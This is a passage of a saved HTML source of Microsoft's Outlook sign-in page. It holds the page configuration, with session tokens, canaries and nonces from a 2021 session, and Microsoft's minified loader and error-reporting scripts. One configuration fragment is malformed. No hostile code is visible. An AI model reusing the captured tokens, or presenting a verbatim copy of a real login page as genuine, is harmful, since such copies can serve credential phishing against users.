82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iPawnIcon":0,"iPollingInterval":1,"sPOST_Username":"","sFT":"AQABAAEAAAD--DLA3VO7QrddgJg7WevrRZTv_7Mb56t0hEeulUDrRcx_PrhgMaupbyATtZfnRmsr18Ns6bZeyhLJ1eOhKOnFIl6As2C4PhDXGxoZYPQCJYMIRRKr8ux4CsNTxcFzaXtH8i4WhcmS7ecGfOwgsEIVNDGwSpUGaJVE5hF95hDnnCNyGK_bhmTqyz6aktMGGx5m07pD2WI8szP5dzRNBTf9nDe5wmALyovRL4QGU3Roof-vR2Aym-8NckBbRT6L6v50qlPGbusTZS0j8w2DjusHfPzbrh99tS7cHYVbUgPuOy1Z7LLWXQzU2PgT72j3DRNleKnyZJHGTzg7SPUzw3eF02PyFz9LuryM90UxKbAU3owifX16Wi7WyrfNIT_L4w7faCgTowaCm1B_wc1vzXm6atwnqmAPiHldhhb-PcNhc5IWpsCYnqSjZ5kxVfd0j7ZQn-82JFyBEWT8g9X8_oxIjc3cTLLMZ5ygI6YaXUul8wNzUbXr039ZNLDxC2Nc4NYgAA","sFTName":"flowToken","sFTCookieName":"ESTSWCTXFLOWTOKEN","sSessionIdentifierName":"code","sCtx":"rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iProductIcon":-1,"staticTenantBranding":null,"oAppCobranding":{"backgroundLogoIndex":53,"backgroundImageIndex":49,"friendlyAppName":"Outlook"},"iBackgroundImage":2,"arrSessions":[],"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.microsoftonline.com/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"https://outlook.office.com/owa/","redirectDssoErrorPostParams":{"error":"interaction_required","error_description":"Seamless single sign on failed for the user. This can happen if the user is unable to access on premises AD or intranet zone is not configured correctly\r\nTrace ID: XMRnTimestamp: 2021-03-06 11:19:43Z","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026origin=login.microsoftonline.com\u0026is_redirected=1"},"urlLogin":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","urlDssoStatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus","iSessionPullType":2,"fUseSameSite":true,"iAllowedIdentities":1,"isGlobalTenant":true,"uiflavor":1001,"urlFidoHelp":"https://go.microsoft.com/fwlink/?linkid=2013738","urlFidoLogin":"https://login.microsoft.com/common/fido/get?uiflavor=Web\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","fIsFidoSupported":true,"fHideLocalAccount":false,"scid":1013,"hpgact":1800,"hpgid":1104,"pgid":"ConvergedSignIn","apiCanary":"AQABAAAAAAD--DLA3VO7QrddgJg7WevrDp27T3oS8EY6IpHrD2G4k144B9L1zo58D_xIvta8EaSnAUAUZl7p_i9bhWqF8eDyv8237lrgE13xRa0hMKbFIrlh_639vZJPXTZuWAWpl0V2OLtqAxS7EA4EbLTXm-4RZeR7f7AS_M5vx6vJZBcev_m_qdWGTIrjPvsAGvzOyHLmqXcCOuoId3Y1LGHqHtfkYMvOjw_KybS9tGdnK1DnMiAA","canary":"RpFH535KI29cVMPt95etwWZEIRUqo+jgHPMhOlilr+w=6:1","correlationId":"d254356d-ffce-4ea7-b0dd-9307eef5b6ee","sessionId":"46cb149f-9658-41b3-b269-70d217634400","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://login.microsoftonline.com/common/instrumentation/reportpageload","dssostatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Firefox":1,"_Win":1,"_M83":1,"_D0":1,"Full":1,"Win81":1,"RE_Gecko":1,"b":{"name":"Firefox","major":83,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"83.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watson.min_ybdb1ixzkv-fkor2mu6q6w2.js","sbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://login.microsoftonline.com","https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/",".login.microsoftonline.com"],"envErrorRedirect":true,"envErrorUrl":"/common/handlers/enverror"},"loader":{"cdnRoots":["https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/"],"logByThrowing":true},"serverDetails":{"slc":"ProdSlices","dc":"WUS2","ri":"MW1XXXX","ver":{"v":[2,1,11530,15]},"rt":"2021-03-06T11:19:43","et":52},"country":"US","fBreakBrandingSigninString":true,"fFixIncorrectApiCanaryUsage":true,"bsso":{"initiatePullTimeoutMs":100,"initiatePullTimeoutAction":"continue","rid":"XMR":"end","END_SSO":"end-sso","END_USERS":"end-users"},"forceTiles":true,"nonce":"AwABAAAAAAACAOz_BAD0_9IG1hbpUKFOYYR3vayixNgTGb1hnJ7vvvKBbl_5yS1z8SzReVS2k6qGIinDoJo0LwnH8ZlEM8cA7vnI96yAcIMgAA","overallTimeoutMs":4000,"telemetry":{"type":"TBAuthTelemetry","nonce":"AwABAAEAAAACAOz_BAD0_zAaVTb88660r1knGrRJDQW1Y_gVHcMu1323gMErKm5CKJKROxyGPcxg-oDpuMEzA-seAMmJNXwMSet6OD04-oIcADBRIGgEvHbMzsaVv7YvIAA","reportStates":["end","end-sso","end-users"]},"redirectEndStates":["end","end-users"],"cookieNames":{"aadSso":"AADSSO","winSso":"ESTSSSO","ssoTiles":"ESTSSSOTILES","ssoPulled":"SSOCOOKIEPULLED","userList":"ESTSUSERLIST"},"enabled":true,"type":"windows","reason":"Pull is needed; Forcing tiles experience as silent SSO not allowed"},"urlNoCookies":"https://login.microsoftonline.com/cookiesdisabled","fTrimChromeBssoUrl":true,"inlineMode":5,"fShowCopyDebugDetailsLink":true};
//]]></script> 
<script type="text/javascript">//<![CDATA[
!function(){var e=window,r=e.$Debug=e.$Debug||{},t=e.$Config||{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog||25,a=(new Date).toUTCString()+":"+e;n.push(o+":"+a),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(a){var i=e[a];if(a<n-1){return void(o.r[i]?t(a+1):o.when(i,function(){t(a+1)}))}r(i)}var n=e.length;t(0)}function r(e,r,a){function i(){var e=!!u.method,o=e?u.method:a[0],i=u.extraArgs||[],s=n.$WebWatson;try{
var c=t(a,!e);if(i&&i.length>0){for(var d=i.length,l=0;l<d;l++){c.push(i[l])}}o.apply(r,c)}catch(e){return void(s&&s.submitFromException&&s.submitFromException(e))}}var u=o.r&&o.r[e];return r=r||this,u&&(u.skipTimeout?i():n.setTimeout(i,0)),u}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do||(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function a(e){r(e,i,u)||o.q.push({"id":e,"c":i,"a":u})}var i=0,u=[],s=1;"function"==typeof n||(i=n,
s=2);for(var c=s;c<arguments.length;c++){u.push(arguments[c])}t instanceof Array?e(t,a):a(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var a={};if(t&&(a.method=t),n&&(a.skipTimeout=n),arguments&&arguments.length>3){a.extraArgs=[];for(var i=3;i<arguments.length;i++){a.extraArgs.push(arguments[i])}}o.r[e]=a,o.lock++;try{for(var u=0;u<o.q.length;u++){var s=o.q[u];s.id==e&&r(e,s.c,s.a)&&o.removeItems.push(s)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){
for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!i){if(!r.body){return void setTimeout(t)}i=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!u){if(!r.body){return void setTimeout(n)}t(),u=!0,e.$Do.register("doc.load",0,!0),a()}}function o(e){(r.addEventListener||"load"===e.type||"complete"===r.readyState)&&t()}function a(){
r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var i=!1,u=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){
return f.$Config||f.ServerData||{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src||r.href||"")+"'",e+=", id:"+(r.id||""),e+=", async:"+(r.async||""),e+=", defer:"+(r.defer||"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")||-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){
var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function a(){var r=e();return(r.loader||{}).slReportFailure||r.slReportFailure||!1}function i(){return(e().loader||{}).redirectToErrorPageOnLoadFailure||!1}function u(){return(e().loader||{}).logByThrowing||!1}function s(e){if(!t()&&!n()){return!1}var r=e.src||e.href||"";if(!r){return!0}if(o(r)){var a,i,u;try{a=e.sheet,i=a&&a.cssRules,u=!1}catch(e){u=!0}if(a&&!i&&u){return!0}
if(a&&i&&0===i.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var s=null;return s=o(e)?a(e):"script"===n.toLowerCase()?i(e):u(e,n),r&&(s.id=r),"function"==typeof s.setAttribute&&(s.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&s.setAttribute("integrity",t)),s}function a(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function i(e){var r=g.createElement("script")
;return r.type="text/javascript",r.src=e,r.defer=!1,r.async=!1,r}function u(e,r){var t=g.createElement(r);return t.src=e,t}function d(e){if(!(m&&m.length>1)){return e}for(var r=0;r<m.length;r++){if(0===e.indexOf(m[r])){return m[r+1<m.length?r+1:0]+e.substring(m[r].length)}}return e}function l(e,t,n,o){if(r("[$Loader]: "+(b.failMessage||"Failed"),o),$[e].retry<p){return $[e].retry++,v(e,t,n),void c._ReportFailure($[e].retry,$[e].srcPath)}n&&n()}function f(e,t,n,o){if(s(o)){return l(e,t,n,o)}
r("[$Loader]: "+(b.successMessage||"Loaded"),o),v(e+1,t,n);var a=$[e].onSuccess;"function"==typeof a&&a($[e].srcPath)}function v(e,o,a){if(e<$.length){var i=$[e];if(!i||!i.srcPath){return void v(e+1,o,a)}i.retry>0&&(i.srcPath=d(i.srcPath),i.origId||(i.origId=i.id),i.id=i.origId+"_Retry_"+i.retry);var u=n(i.srcPath,i.id,i.integrity,i.tagName);u.onload=function(){f(e,o,a,u)},u.onerror=function(){l(e,o,a,u)},u.onreadystatechange=function(){"loaded"===u.readyState?setTimeout(function(){f(e,o,a,u)
},500):"complete"===u.readyState&&f(e,o,a,u)},t(u),r("[$Loader]: Loading '"+(i.srcPath||"")+"', id:"+(i.id||""))}else{o&&o()}}var h=e(),p=h.slMaxRetry||2,y=h.loader||{},m=y.cdnRoots||[],b=this,$=[];b.retryOnError=!0,b.successMessage="Loaded",b.failMessage="Error",b.Add=function(e,r,t,n,o,a){e&&$.push({"srcPath":e,"id":r,"retry":n||0,"integrity":t,"tagName":o||"script","onSuccess":a})},b.AddForReload=function(e,r){var t=e.src||e.href||"";b.Add(t,"AddForReload",e.integrity,1,e.tagName,r)},
b.AddIf=function(e,r,t){e&&b.Add(r,t)},b.Load=function(e,r){v(0,e,r)}}var d,l,f=window,g=f.document,v=".css";c.On=function(e,r,t){if(!e){throw"The target element must be provided and cannot be null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){throw"The target element must be provided and cannot be null."}if(s(e)){return c.OnError(e,t)}var n=e.src||e.href||"",o=a(),u=i();r("[$Loader]: Loaded",e);var d=new c;d.failMessage="Reload Failed",d.successMessage="Reload Success",
d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load() failed despite initial load success. ['"+n+"']"}u&&(document.location.href="/error.aspx?err=504")})},c.OnError=function(e,t){var n=e.src||e.href||"",o=a(),u=i();if(!e){throw"The target element must be provided and cannot be null."}r("[$Loader]: Failed",e);var s=new c;s.failMessage="Reload Failed",s.successMessage="Reload Success",s.AddForReload(e,t),s.Load(null,function(){if(o){throw"Failed to load external resource ['"+n+"']"}
u&&(document.location.href="/error.aspx?err=504")}),c._ReportFailure(0,n)},c._ReportFailure=function(e,r){if(u()&&!t()){throw"[Retry "+e+"] Failed to load external resource ['"+r+"'], reloading from fallback CDN endpoint"}},f.$Loader=c}(),function(){function e(){if(!$){var e=new h.$Loader;e.AddIf(!h.jQuery,y.sbundle,"WebWatson_DemandSupport"),y.sbundle=null,delete y.sbundle,e.AddIf(!h.$Api,y.fbundle,"WebWatson_DemandFramework"),y.fbundle=null,delete y.fbundle,e.Add(y.bundle,"WebWatson_DemandLoaded"),
e.Load(r,t),$=!0}}function r(){if(h.$WebWatson){if(h.$WebWatson.isProxy){return void t()}m.when("$WebWatson.full",function(){for(;b.length>0;){var e=b.shift();e&&h.$WebWatson[e.cmdName].apply(h.$WebWatson,e.args)}})}}function t(){if(!h.$WebWatson||h.$WebWatson.isProxy){if(!w&&JSON){try{var e=new XMLHttpRequest;e.open("POST",y.url),e.setRequestHeader("Accept","application/json"),e.setRequestHeader("Content-Type","application/json; charset=UTF-8"),e.setRequestHeader("canary",p.apiCanary),
e.setRequestHeader("client-request-id",p.correlationId),e.setRequestHeader("hpgid",p.hpgid||0),e.setRequestHeader("hpgact",p.hpgact||0);for(var r=-1,t=0;t<b.length;t++){if("submit"===b[t].cmdName){r=t;break}}var o=b[r]?b[r].args||[]:[],a={"sr":y.sr,"ec":"Failed to load external resource [Core Watson files]","wec":55,"idx":1,"pn":p.pgid||"","sc":p.scid||0,"hpg":p.hpgid||0,"msg":"Failed to load external resource [Core Watson files]","url":o[1]||"","ln":0,"ad":0,"an":!1,"cs":"","sd":p.serverDetails,"ls":null,
"diag":v(y)};e.send(JSON.stringify(a))}catch(e){}w=!0}y.loadErrorUrl&&window.location.assign(y.loadErrorUrl)}n()}function n(){b=[],h.$WebWatson=null}function o(r){return function(){var t=arguments;b.push({"cmdName":r,"args":t}),e()}}function a(){var e=["foundException","resetException","submit"],r=this;r.isProxy=!0;for(var t=e.length,n=0;n<t;n++){var a=e[n];a&&(r[a]=o(a))}}function i(e,r,t,n,o,a,i){var u=h.event;return a||(a=l(o||u,i?i+2:2)),
h.$Debug&&h.$Debug.appendLog&&h.$Debug.appendLog("[WebWatson]:"+(e||"")+" in "+(r||"")+" @ "+(t||"??")),E.submit(e,r,t,n,o||u,a,i)}function u(e,r){return{"signature":e,"args":r,"toString":function(){return this.signature}}}function s(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){r.push(u(t[n],[]))}return r}function c(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){var o=u(t[n],[]);t[n+1]&&(o.signature+="@"+t[n+1],n++),r.push(o)}return r}function d(e){if(!e){return null}try{if(e.stack){
return s(e.stack)}if(e.error){if(e.error.stack){return s(e.error.stack)}}else if(window.opera&&e.message){return c(e.message)}}catch(e){}return null}function l(e,r){var t=[];try{for(var n=arguments.callee;r>0;){n=n?n.caller:n,r--}for(var o=0;n&&o<L;){var a="InvalidMethod()";try{a=n.toString()}catch(e){}var i=[],s=n.args||n.arguments;if(s){for(var c=0;c<s.length;c++){i[c]=s[c]}}t.push(u(a,i)),n=n.caller,o++}}catch(e){t.push(u(e.toString(),[]))}var l=d(e)
;return l&&(t.push(u("--- Error Event Stack -----------------",[])),t=t.concat(l)),t}function f(e){if(e){try{var r=/function (.{1,})\(/,t=r.exec(e.constructor.toString());return t&&t.length>1?t[1]:""}catch(e){}}return""}function g(e){if(e){try{if("string"!=typeof e&&JSON&&JSON.stringify){var r=f(e),t=JSON.stringify(e);return t&&"{}"!==t||(e.error&&(e=e.error,r=f(e)),(t=JSON.stringify(e))&&"{}"!==t||(t=e.toString())),r+":"+t}}catch(e){}}return""+(e||"")}function v(e){var r=[];try{
if(jQuery?(r.push("jQuery v:"+jQuery().jquery),jQuery.easing?r.push("jQuery.easing:"+JSON.stringify(jQuery.easing)):r.push("jQuery.easing is not defined")):r.push("jQuery is not defined"),e&&e.expectedVersion&&r.push("Expected jQuery v:"+e.expectedVersion),m){var t,n="";for(t=0;t<m.o.length;t++){n+=m.o[t]+";"}for(r.push("$Do.o["+n+"]"),n="",t=0;t<m.q.length;t++){n+=m.q[t].id+";"}r.push("$Do.q["+n+"]")}if(h.$Debug&&h.$Debug.getLogs){var o=h.$Debug.getLogs();o&&o.length>0&&(r=r.concat(o))}if(b){
for(var a=0;a<b.length;a++){var i=b[a];if(i&&"submit"===i.cmdName){try{if(JSON&&JSON.stringify){var u=JSON.stringify(i);u&&r.push(u)}}catch(e){r.push(g(e))}}}}}catch(e){r.push(g(e))}return r}var h=window,p=h.$Config||{},y=p.watson,m=h.$Do;if(!h.$WebWatson&&y){var b=[],$=!1,w=!1,L=10,E=h.$WebWatson=new a;E.CB={},E._orgErrorHandler=h.onerror,h.onerror=i,E.errorHooked=!0,m.when("jQuery.version",function(e){y.expectedVersion=e}),m.register("$WebWatson")}}(),function(){function e(e,r){
for(var t=r.split("."),n=t.length,o=0;o<n&&null!==e&&void 0!==e;){e=e[t[o++]]}return e}function r(r){var t=null;return null===s&&(s=e(a,"Constants")),null!==s&&r&&(t=e(s,r)),null===t||void 0===t?"":t.toString()}function t(t){var n=null;return null===i&&(i=e(a,"$Config.strings")),null!==i&&t&&(n=e(i,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}function n(e,r){var n=null;return e&&r&&r[e]&&(n=t("errors."+r[e])),n||(n=t("errors."+e)),n||(n=t("errors."+c)),n||(n=t(c)),n}
function o(t){var n=null;return null===u&&(u=e(a,"$Config.urls")),null!==u&&t&&(n=e(u,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}var a=window,i=null,u=null,s=null,c="GENERIC_ERROR";a.GetString=t,a.GetErrorString=n,a.GetUrl=o}(),function(){var e=window,r=e.$Config||{};e.$B=r.browser||{}}();

//]]></script> 

        <link rel="prefetch" href="https://login.live.com/Me.htm?v=3">
        <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">

    <script type="text/javascript">
        ServerData = $Config;
    </script>


    
    <link crossorigin="anonymous" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css" rel="stylesheet" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-aaNZkp+Orf+VEZusNFIGnTEJZ9UmRa1+oTUDIv88KY1TTwkFhoZ4wzV9pd5ujWPC">



<script crossorigin="anonymous" src="https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_FZ20atAlhirHa_737xNftg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)"></script>

    <script crossorigin="anonymous" src="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-RUzxg1X2m7djUACTlbHZxYYNzWy5WKCPy5MncckGmTnhsxraQQQsSPOSAMHg1U68"></script>

    


<link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css"><link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js">
</head>

<body data-bind="defineGlobals: ServerData, bodyCssClass" class="cb" style="display: block;">
   
    <script type="text/javascript">
//<![CDATA[
(function () {
var $Prefetch={"rfPre":true,"delay":1000,"maxHistory":4,"maxAge":43200,"ageRes":1440,"name":"clrc","fetch":[{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css","hash":"TfCbp8XZ","co":true,"rf":true},{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js","hash":"0XngNfCT","co":true,"rf":true}],"mode":5};
!function(e,t,n){function r(e){x.appendLog&&x.appendLog("Client Prefetch: "+e)}function i(){try{for(var e=t.cookie.split(";"),r=0;r<e.length;r++){var i=e[r];if(i){var o=i.indexOf("=");if(-1!==o){if(i.substr(0,o).trim()===n.name){var u=i.substr(o+1);return JSON.parse(c(u))}}}}}catch(e){}return{}}function o(e,t,n){return e.replace(t,n)}function c(e){return e=o(e,/%5c/g,"\\"),e=o(e,/%3e/g,">"),e=o(e,/%3d/g,"="),e=o(e,/%3c/g,"<"),e=o(e,/%3b/g,";"),e=o(e,/%3a/g,":"),e=o(e,/%2c/g,","),e=o(e,/%27/g,"'"),
e=o(e,/%22/g,'"'),e=o(e,/%20/g," "),e=o(e,/%25/g,"%")}function u(e){return e=o(e,/%/g,"%25"),e=o(e,/ /g,"%20"),e=o(e,/"/g,"%22"),e=o(e,/'/g,"%27"),e=o(e,/,/g,"%2c"),e=o(e,/:/g,"%3a"),e=o(e,/;/g,"%3b"),e=o(e,/</g,"%3c"),e=o(e,/=/g,"%3d"),e=o(e,/>/g,"%3e"),e=o(e,/\\/g,"%5c")}function f(e){var r=new Date;r.setTime(r.getTime()+C*H),t.cookie=n.name+"="+u(JSON.stringify(e))+";expires="+r.toUTCString()+";path=/; Secure; SameSite=None"}function a(e,t){if(e){if(e.indexOf){return e.indexOf(t)}
for(var n=0;n<e.length;n++){if(e[n]===t){return n}}}return-1}function h(e,t){return-1!==a(e,t)}function g(e,t){var n=a(e,t);return-1!==n&&(e.splice(n,1),!0)}function l(e,t){for(var n in e){if(e.hasOwnProperty(n)&&!t(n,e[n])){break}}}function s(){var e=(new Date).getTime(),t=D*H;return P.getTime()>e?Math.round(e/t):Math.round((e-P.getTime())/t)}function d(e,t){var n=!1;if(t&&t.length>0){n=!0;for(var r=0;r<t.length;r++){delete e[t[r]]}}return n}function p(e){var t=s()-C,n=t+2*C,r=null,i=0,o=[]
;return l(e,function(c){return c<t||c>n?o.push(c):(0===e[c].length?o.push(c):(null===r||c<r)&&(r=c),i++),!0}),null!==r&&i>k&&o.push(r),d(e,o)}function v(e,t,n){r("Fetched: "+e+" Hash: "+t+" isRefresh: "+n);var o=i(),c=s(),u=!1,a=!1;if(l(o,function(e,n){return!h(n,t)||(e!==c?g(o[e],t)&&(a=!0):u=!0,!1)}),!u){var d=o[c]||[];d.push(t),o[c]=d,a=!0}a|=p(o),a&&f(o),b()}function m(t,n,i,o){var c={"method":"GET"};i&&(c.mode="cors"),e.fetch(t,c).then(function(e){
200===e.status?v(t,n,o):(r("Unexpected response - "+e.status),b())}).then(null,function(e){r("Failed - "+e),b()})}function T(){if(e.XMLHttpRequest&&!J){return new XMLHttpRequest}if(e.ActiveXObject){try{return new ActiveXObject("Msxml2.XMLHTTP")}catch(e){}try{return new ActiveXObject("Microsoft.XMLHttp")}catch(e){}}return null}function w(e,t,n,i,o){r("Fetching - "+t),e.onload=function(){v(t,n,o)},e.onerror=function(){r("XHR failed!"),b()},e.ontimeout=function(){r("XHR timed out!"),b()};try{e.open("GET",t),
e.withCredentials=i&&!N,e.send()}catch(r){N?setTimeout(function(){v(t,n,o)},0):(N=!0,w(e,t,n,!1,o))}}function O(t,n,i,o){if(e.fetch){return void m(t,n,i,o)}var c=T();if(null!==c){return void w(c,t,n,i,o)}r("Unable to identify a transport option!")}function b(){var e=n.fetch;if(X<e.length&&e[X]){var t=e[X];O(t.path,t.hash,t.co||!1,t.rf||!1),X++}}function y(e){if(e){try{var n=t.createElement("link");n.rel="prefetch",n.href=e,t.head.appendChild(n)}catch(e){}}}function M(){r("Starting"),b(),b()}function S(){
for(var t=e.$Config||e.ServerData||{},r=n.fetch,i=n.mode||-1,o=-1,c=0;c<r.length;c++){0!==o&&i>=3&&(o=r[c].rf?1:0),R&&!J&&y(r[c].path||{})}t.prefetchPltMode=o}if(n&&n.fetch&&0!==n.fetch.length){var x=e.$Debug||{},X=0,H=6e4,P=new Date(2019),k=n.maxHistory||4,C=n.maxAge||20160,D=n.ageRes||1440,L=n.delay||5e3,R=n.rfPre||!1,J=void 0!==(e._phantom||e.callPhantom),N=!1;JSON&&JSON.parse&&(n.clearCookie=function(){document.cookie=n.name+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},e.$Do.when("doc.load",function(){
